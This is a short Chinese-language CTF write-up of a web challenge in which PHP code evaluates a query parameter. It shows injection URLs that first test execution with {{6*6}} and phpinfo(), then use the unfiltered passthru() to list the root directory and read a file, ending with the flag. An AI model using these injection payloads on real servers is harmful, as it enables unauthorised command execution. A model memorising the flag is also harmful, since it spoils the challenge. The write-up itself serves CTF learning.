第一:题目分析
1.拿到题目我们先进行简单的分析,一般情况下CTF题目都会有提示,
2.我们随便传入一个参数sss试试
http://114.67.175.224:16452/?sss
发现:这里就是源代码,我们可以进行代码审计
3,简单的看了下源代码发现了eval()这个命令执行函数,那我们试试命令执行,例如:
http://114.67.175.224:16452/?sss={{6*6}}
发现:确实存在命令执行
4.执行phpinfo()函数,(目的是测试)
http://114.67.175.224:16452/?sss={{phpinfo()}}
扩展知识:phpinfo()函数的作用是显示出PHP 所有相关信息,例如:php的版本,System显示的操作系统具体型号,安装php的日期等等
5.代码审计
发现:这里过滤了很多的执行函数,但是我们发现没有过滤passthru( )这个执行函数
6,使用passthru( )去执行命令,(目的是查看当前目录下有什么)
http://114.67.175.224:16452/?sss={{passthru("ls /")}}
发现:当前目录下有_6323,boot,bit等文件,那么接下来我们查看文件中有什么东西
7,查看文件内容
http://114.67.175.224:16452/?sss={{passthru("more /_6323")}}
注意:cat命令和more命令都有查看的含义
8, 最后我们也就得到了flag
flag{b505bc9f0ed5c9d5ec6f17e4e77db3ca}